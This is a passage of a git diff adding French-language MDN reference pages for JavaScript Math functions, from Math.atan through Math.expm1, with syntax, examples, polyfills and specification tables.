Math.asinh(x)=arsinh(x)= le seul ytel quesinh(y)=x\mathtt{\operatorname{Math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-asinh.html")}}
+ + + +

Syntaxe

+ +
Math.asinh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

L'arc sinus hyperbolique du nombre passé en argument.

+ +

Description

+ +

asinh() étant une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.asinh() et ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.asinh()

+ +
Math.asinh = Math.asinh || function(x) {
+  if (x === -Infinity) {
+    return x;
+  } else {
+    return Math.log(x + Math.sqrt(x * x + 1));
+  }
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.asinh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acosh()")}}
    • +
  • {{jsxref("Math.atanh()")}}
    • +
  • {{jsxref("Math.cosh()")}}
    • +
  • {{jsxref("Math.sinh()")}}
    • +
  • {{jsxref("Math.tanh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/atan/index.html b/files/fr/web/javascript/reference/global_objects/math/atan/index.html new file mode 100644 index 0000000000..e7392525ab --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/atan/index.html @@ -0,0 +1,105 @@ +--- +title: Math.atan() +slug: Web/JavaScript/Reference/Objets_globaux/Math/atan +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan +--- +
{{JSRef}}
+ +

La fonction Math.atan() renvoie l'arc tangente d'un nombre exprimée en radians. Elle est définie par :

+ +

Math.atan(x)=arctan(x)=le seuly∊[-π2;π2]tel quetan(y)=x\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-atan.html")}}
+ + + +

Syntaxe

+ +
Math.atan(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

L'arc tangente du nombre passé en argument (exprimé en radians).

+ +

Description

+ +

La méthode Math.atan() renvoie une valeur numérique comprise entre -π2-\frac{\pi}{2} et π2\frac{\pi}{2}.

+ +

atan() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.atan(), elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.atan()

+ +
Math.atan(1);  // 0.7853981633974483
+Math.atan(0);  // 0
+Math.atan(-0); // -0
+
+Math.atan(Infinity); // 1.5707963267948966
+Math.atan(-Infinity); // -1.5707963267948966
+
+// L'angle formé entre la droite [(0,0);(x,y)] et l'axe des abscisses
+// dans un système de coordonnées cartésienne
+Math.atan(y / x);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Math.atan")}}
+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/atan2/index.html b/files/fr/web/javascript/reference/global_objects/math/atan2/index.html new file mode 100644 index 0000000000..3c49ff6ba5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/atan2/index.html @@ -0,0 +1,113 @@ +--- +title: Math.atan2() +slug: Web/JavaScript/Reference/Objets_globaux/Math/atan2 +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2 +--- +
{{JSRef}}
+ +

La fonction Math.atan2() renvoie l'arc tangente du quotient de ses arguments.

+ +
{{EmbedInteractiveExample("pages/js/math-atan2.html")}}
+ + + +

Syntaxe

+ +
Math.atan2(y, x)
+ +

Paramètres

+ +
+
x
+
La coordonnée en abscisse du point.
+
y
+
La coordonnée en ordonnée du point.
+
+ +

Valeur de retour

+ +

L'arc tangente du quotient formé par les deux arguments, c'est-à-dire l'angle, exprimé en radians entre l'axe des abscisses et la droite passant par l'origin (0,0) et le point de coordonnées (x,y).

+ +

Description

+ +

La méthode Math.atan2() renvoie une valeur numérique comprise entre -Pi et Pi qui représente l'angle theta d'un point de coordonnées (x,y). Cela correspond à l'angle (dans le sens trigonométrique) entre l'axe des abscisses et le point de coordonnées (x,y). Attention, le premier argument de la fonction est l'ordonnée (y) et le second est l'abscisse (x).

+ +

Graphique explicitant l'angle donné par un point de coordonnées X/Y

+ +

Math.atan2() utilise deux arguments x et y, alors que la méthode Math.atan() utilise le ratio de deux nombres comme un seul argument.

+ +

atan2() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe Math.atan2(), elle ne doit pas être utilisée comme la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.atan2()

+ +
Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2( ±0, -0 );               // ±PI.
+Math.atan2( ±0, +0 );               // ±0.
+Math.atan2( ±0, -x );               // ±PI pour x > 0.
+Math.atan2( ±0, x );                // ±0 pour x > 0.
+Math.atan2( -y, ±0 );               // -PI/2 pour y > 0.
+Math.atan2( y, ±0 );                // PI/2 pour y > 0.
+Math.atan2( ±y, -Infinity );        // ±PI pour y qui est un nombre fini > 0.
+Math.atan2( ±y, +Infinity );        // ±0 pour y qui est un nombre fini > 0.
+Math.atan2( ±Infinity, x );         // ±PI/2 pour x qui est un nombre fini.
+Math.atan2( ±Infinity, -Infinity ); // ±3*PI/4.
+Math.atan2( ±Infinity, +Infinity ); // ±PI/4.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.atan2', 'Math.atan2')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.atan2")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/atanh/index.html b/files/fr/web/javascript/reference/global_objects/math/atanh/index.html new file mode 100644 index 0000000000..ef350947af --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/atanh/index.html @@ -0,0 +1,102 @@ +--- +title: Math.atanh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/atanh +tags: + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atanh +--- +
{{JSRef}}
+ +

La fonction Math.atanh() renvoie l'arc tangente hyperbolique d'un nombre :

+ +

∀x∊(-1,1),Math.atanh(x)=arctanh(x)= le seul y  tel quetanh(y)=x\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-atanh.html")}}
+ + + +

Syntaxe

+ +
Math.atanh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

L'arc tangente hyperbolique du nombre passé en argument.

+ +

Description

+ +

atanh() est une méthode statique de Math, il faut utiliser la syntaxe Math.atanh(), et non pas une méthode d'un objet Math créé sur mesure (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.atanh()

+ +
Math.atanh(-2);  // NaN
+Math.atanh(-1);  // -Infinity
+Math.atanh(0);   // 0
+Math.atanh(0.5); // 0.5493061443340548
+Math.atanh(1);   // Infinity
+Math.atanh(2);   // NaN
+
+ +

Pour les valeurs strictement inférieures à -1 ou strictement supérieures à 1, {{jsxref("NaN")}} sera renvoyé.

+ +

Prothèse d'émulation (polyfill)

+ +

Pour |x|<1\left|x\right| < 1, on a la formule suivante : artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right)et on peut donc émuler la fonction avec :

+ +
Math.atanh = Math.atanh || function(x) {
+  return Math.log((1+x)/(1-x)) / 2;
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-math.atanh', 'Math.atanh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.atanh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acosh()")}}
    • +
  • {{jsxref("Math.asinh()")}}
    • +
  • {{jsxref("Math.cosh()")}}
    • +
  • {{jsxref("Math.sinh()")}}
    • +
  • {{jsxref("Math.tanh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/cbrt/index.html b/files/fr/web/javascript/reference/global_objects/math/cbrt/index.html new file mode 100644 index 0000000000..fe6c19aa04 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/cbrt/index.html @@ -0,0 +1,91 @@ +--- +title: Math.cbrt() +slug: Web/JavaScript/Reference/Objets_globaux/Math/cbrt +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt +--- +
{{JSRef}}
+ +

La fonction Math.cbrt() renvoie la racine cubique (le nom anglais étant cubic root) d'un nombre :

+ +

Math.cbrt(x)=x3=le seulytel quey3=x\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x

+ +
{{EmbedInteractiveExample("pages/js/math-cbrt.html")}}
+ + + +

Syntaxe

+ +
Math.cbrt(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La racine cubique du nombre passé en argument.

+ +

Description

+ +

cbrt() étant une méthode statique de Math, il faut utiliser Math.cbrt(), et non pas la méthode d'un autre objet créé (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.cbrt()

+ +
Math.cbrt(NaN); // NaN
+Math.cbrt(-1); // -1
+Math.cbrt(-0); // -0
+Math.cbrt(-Infinity); // -Infinity
+Math.cbrt(0); // 0
+Math.cbrt(1); // 1
+Math.cbrt(Infinity); // Infinity
+Math.cbrt(null); // 0
+Math.cbrt(2);  // 1.2599210498948732
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.cbrt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.pow()")}}
    • +
  • {{jsxref("Math.sqrt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/ceil/index.html b/files/fr/web/javascript/reference/global_objects/math/ceil/index.html new file mode 100644 index 0000000000..47e1bde9e2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/ceil/index.html @@ -0,0 +1,177 @@ +--- +title: Math.ceil() +slug: Web/JavaScript/Reference/Objets_globaux/Math/ceil +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil +--- +
{{JSRef}}
+ +

La fonction Math.ceil() retourne le plus petit entier supérieur ou égal au nombre donné.

+ +
{{EmbedInteractiveExample("pages/js/math-ceil.html")}}
+ + + +

Syntaxe

+ +
Math.ceil(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le plus petit entier qui est supérieur ou égal au nombre donné.

+ +

Description

+ +

ceil() est une méthode statique de Math. Elle doit être utilisée avec la syntaxe Math.ceil(), plutôt que comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +
+

Note : Math.ceil(null) renverra 0 et pas {{jsxref("NaN")}}.

+
+ +

Exemples

+ +

Utiliser Math.ceil()

+ +

Voici un exemple d'utilisation de Math.ceil().

+ +
Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+Math.ceil(null);   // 0
+ +

Arrondi décimal

+ +
// Fermeture
+(function(){
+
+	/**
+	 * Fonction pour arrondir un nombre.
+	 *
+	 * @param	{String}	type	Le type d'arrondi.
+	 * @param	{Number}	value	Le nombre à arrondir.
+	 * @param	{Integer}	exp		L'exposant (le logarithme en base 10 de la base pour l'arrondi).
+	 * @returns	{Number}			La valeur arrondie.
+	 */
+	function decimalAdjust(type, value, exp) {
+		// Si l'exposant vaut undefined ou zero...
+		if (typeof exp === 'undefined' || +exp === 0) {
+			return Math[type](value);
+		}
+		value = +value;
+		exp = +exp;
+		// Si value n'est pas un nombre
+        // ou si l'exposant n'est pas entier
+		if (isNaN(value) || !(typeof exp === 'number' && exp % 1 === 0)) {
+			return NaN;
+		}
+		// Décalage
+		value = value.toString().split('e');
+		value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+		// Re "calage"
+		value = value.toString().split('e');
+		return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+	}
+
+	// Arrondi décimal
+	if (!Math.round10) {
+		Math.round10 = function(value, exp) {
+			return decimalAdjust('round', value, exp);
+		};
+	}
+	// Arrondi décimal inférieur
+	if (!Math.floor10) {
+		Math.floor10 = function(value, exp) {
+			return decimalAdjust('floor', value, exp);
+		};
+	}
+	// Arrondi décimal supérieur
+	if (!Math.ceil10) {
+		Math.ceil10 = function(value, exp) {
+			return decimalAdjust('ceil', value, exp);
+		};
+	}
+
+})();
+
+// Arrondi décimal
+Math.round10(55.55, -1); // 55.6
+Math.round10(55.549, -1); // 55.5
+Math.round10(55, 1); // 60
+Math.round10(54.9, 1); // 50
+Math.round10(-55.55, -1); // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1); // -50
+Math.round10(-55.1, 1); // -60
+// Arrondi décimal inférieur
+Math.floor10(55.59, -1); // 55.5
+Math.floor10(59, 1); // 50
+Math.floor10(-55.51, -1); // -55.6
+Math.floor10(-51, 1); // -60
+// Arrondi décimal supérieur
+Math.ceil10(55.51, -1); // 55.6
+Math.ceil10(51, 1); // 60
+Math.ceil10(-55.59, -1); // -55.5
+Math.ceil10(-59, 1); // -50
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.ceil")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.floor()")}}
    • +
  • {{jsxref("Math.round()")}}
    • +
  • {{jsxref("Math.sign()")}}
    • +
  • {{jsxref("Math.trunc()")}}{
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/clz32/index.html b/files/fr/web/javascript/reference/global_objects/math/clz32/index.html new file mode 100644 index 0000000000..e7c28a3865 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/clz32/index.html @@ -0,0 +1,95 @@ +--- +title: Math.clz32() +slug: Web/JavaScript/Reference/Objets_globaux/Math/clz32 +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/clz32 +--- +
{{JSRef}}
+ +

La fonction Math.clz32() renvoie le nombre de zéros de tête dans la représentation binaire sur 32 bits d'un nombre.

+ +
{{EmbedInteractiveExample("pages/js/math-clz32.html")}}
+ + + +

Syntaxe

+ +
Math.clz32(x)
+
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur retournée

+ +

Le nombre de bits à zéro en tête de la représentation binaire sur 32 bits du nombre donné.

+ +

Description

+ +

"clz32" est un raccourci pour CountLeadingZeroes32 (en français, « compter les zéros de tête »).

+ +

Si x n'est pas un nombre, il sera d'abord converti en nombre puis converti en un entier non signé sur 32 bits.

+ +

Si l'entier non signé sur 32 bits résultant vaut 0, la fonction renverra 32, car tous les bits valent 0.

+ +

Cette fonction est particulièrement utile aux systèmes qui compilent du code JavaScript, comme Emscripten.

+ +

Exemples

+ +
Math.clz32(1)                // 31
+Math.clz32(1000)             // 22
+Math.clz32()                 // 32
+
+var liste = [NaN, Infinity, -Infinity, 0, -0, null, undefined, 'machin', {}, []];
+liste.every(n => Math.clz32(n) == 32); // true
+
+Math.clz32(true)             // 31
+Math.clz32(3.5)              // 30
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES2015', '#sec-math.clz32', 'Math.clz32')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.clz32', 'Math.clz32')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.clz32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math")}}
    • +
  • {{jsxref("Math.imul")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/cos/index.html b/files/fr/web/javascript/reference/global_objects/math/cos/index.html new file mode 100644 index 0000000000..3c28ee7fb4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/cos/index.html @@ -0,0 +1,98 @@ +--- +title: Math.cos() +slug: Web/JavaScript/Reference/Objets_globaux/Math/cos +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos +--- +
{{JSRef}}
+ +

La fonction Math.cos() retourne le cosinus d'un angle dont la valeur est exprimée en radians.

+ +
{{EmbedInteractiveExample("pages/js/math-cos.html")}}
+ + + +

Syntaxe

+ +
Math.cos(x)
+ +

Paramètres

+ +
+
x
+
Une valeur numérique (exprimée en radians).
+
+ +

Valeur de retour

+ +

Le cosinus de l'angle fourni en argument (exprimé en radians).

+ +

Description

+ +

La méthode Math.cos() renvoie une valeur numérique comprise entre -1 et 1. Cela représente la valeur du cosinus de l'angle correspondant à cette valeur.

+ +

cos est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.cos(), ne pas utiliser une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.cos()

+ +
Math.cos(0);           // 1
+Math.cos(1);           // 0.5403023058681398
+
+Math.cos(Math.PI);     // -1
+Math.cos(2 * Math.PI); // 1
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.cos', 'Math.cos')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.cos")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/cosh/index.html b/files/fr/web/javascript/reference/global_objects/math/cosh/index.html new file mode 100644 index 0000000000..99d12d6cf0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/cosh/index.html @@ -0,0 +1,104 @@ +--- +title: Math.cosh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/cosh +tags: + - ECMAScript6 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/cosh +--- +
{{JSRef}}
+ +

La fonction Math.cosh() renvoie le cosinus hyperbolique d'un nombre, défini par :

+ +

Math.cosh(x)=ex+e-x2\mathtt{\operatorname{Math.cosh(x)}} = \frac{e^x + e^{-x}}{2}

+ +
{{EmbedInteractiveExample("pages/js/math-cosh.html")}}
+ + + +

(Voir la page sur {{jsxref("Objets_globaux/Math/E","e","",1)}})

+ +

Syntaxe

+ +
Math.cosh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le cosinus hyperbolique du nombre passé en argument.

+ +

Description

+ +

cosh() étant une méthode statique de Math, il faut utiliser Math.cosh() et non pas la méthode d'un objet Math créé sur mesure (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.cosh()

+ +
Math.cosh(0);  // 1
+Math.cosh(1);  // 1.5430806348152437
+Math.cosh(-1); // 1.5430806348152437
+
+ +

Prothèse d'émulation (polyfill)

+ +

Cette fonction peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

+ +
Math.cosh = Math.cosh || function(x) {
+    return (Math.exp(x) + Math.exp(-x)) / 2;
+}
+ +

On peut également utiliser un unique appel à {{jsxref("Objets_globaux/Math/exp", "exp()")}} :

+ +
Math.cosh = Math.cosh || function(x) {
+    var y = Math.exp(x);
+    return (y + 1 / y) / 2;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.cosh', 'Math.cosh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.cosh', 'Math.cosh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.cosh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acosh()")}}
    • +
  • {{jsxref("Math.asinh()")}}
    • +
  • {{jsxref("Math.atanh()")}}
    • +
  • {{jsxref("Math.sinh()")}}
    • +
  • {{jsxref("Math.tanh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/e/index.html b/files/fr/web/javascript/reference/global_objects/math/e/index.html new file mode 100644 index 0000000000..0ffd4fff7d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/e/index.html @@ -0,0 +1,83 @@ +--- +title: Math.E +slug: Web/JavaScript/Reference/Objets_globaux/Math/E +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/E +--- +
{{JSRef}}
+ +

La propriété Math.E représente la base du logarithme naturel, e, et vaut environ 2.718.

+ +

Math.E=e≈2.718\mathtt{\mi{Math.E}} = e \approx 2.718

+ +
{{EmbedInteractiveExample("pages/js/math-e.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

E étant une propriété statique de Math, il doit toujours être utilisé avec la syntaxe Math.E, et non pas être appelé comme propriété d'un autre objet Math qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.E

+ +

La fonction suivante renvoie la valeur de e :

+ +
function getNapier() {
+   return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.e', 'Math.E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.E")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/exp/index.html b/files/fr/web/javascript/reference/global_objects/math/exp/index.html new file mode 100644 index 0000000000..62974cdddf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/exp/index.html @@ -0,0 +1,96 @@ +--- +title: Math.exp() +slug: Web/JavaScript/Reference/Objets_globaux/Math/exp +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp +--- +
{{JSRef}}
+ +

La fonction Math.exp() renvoie l'exponentielle d'un nombre (donnée par ex, où x est la valeur passée en argument et e la valeur du {{jsxref("Objets_globaux/Math/E","nombre d'Euler (parfois appelé constante de Napier)","",1)}}.

+ +
{{EmbedInteractiveExample("pages/js/math-exp.html")}}
+ + + +

Syntaxe

+ +
Math.exp(x)
+ +

Paramètres

+ +
+
x
+
+

Un nombre.

+
+
+ +

Valeur de retour

+ +

L'exponentielle du nombre passé en argument (ex).

+ +

Description

+ +

exp() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.exp(), elle ne doit pas être utilisée avec un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.exp()

+ +
Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.exp")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.E")}}
    • +
  • {{jsxref("Math.expm1()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/expm1/index.html b/files/fr/web/javascript/reference/global_objects/math/expm1/index.html new file mode 100644 index 0000000000..daff456379 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/expm1/index.html @@ -0,0 +1,94 @@ +--- +title: Math.expm1() +slug: Web/JavaScript/Reference/Objets_globaux/Math/expm1 +tags: + - ECMAScript6 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/expm1 +--- +
{{JSRef}}
+ +

La fonction Math.expm1() renvoie ex - 1, avec x l'argument donné et {{jsxref("Objets_globaux/Math/E","e")}} la base du logarithme nepérien.

+ +
{{EmbedInteractiveExample("pages/js/math-expm1.html")}}
+ + + +

Syntaxe

+ +
Math.expm1(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Un nombre qui représente ex- 1 où x est la valeur passée en argument et ex l'exponentielle du nombre.

+ +

Description

+ +

expm1() étant une méthode statique de Math, il faut utiliser Math.expm1()et non pas la méthode d'un autre objet qui aurait été créé sur mesure (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.expm1()

+ +
Math.expm1(-1); // -0.6321205588285577
+Math.expm1(0);  // 0
+Math.expm1(1);  // 1.718281828459045
+ +

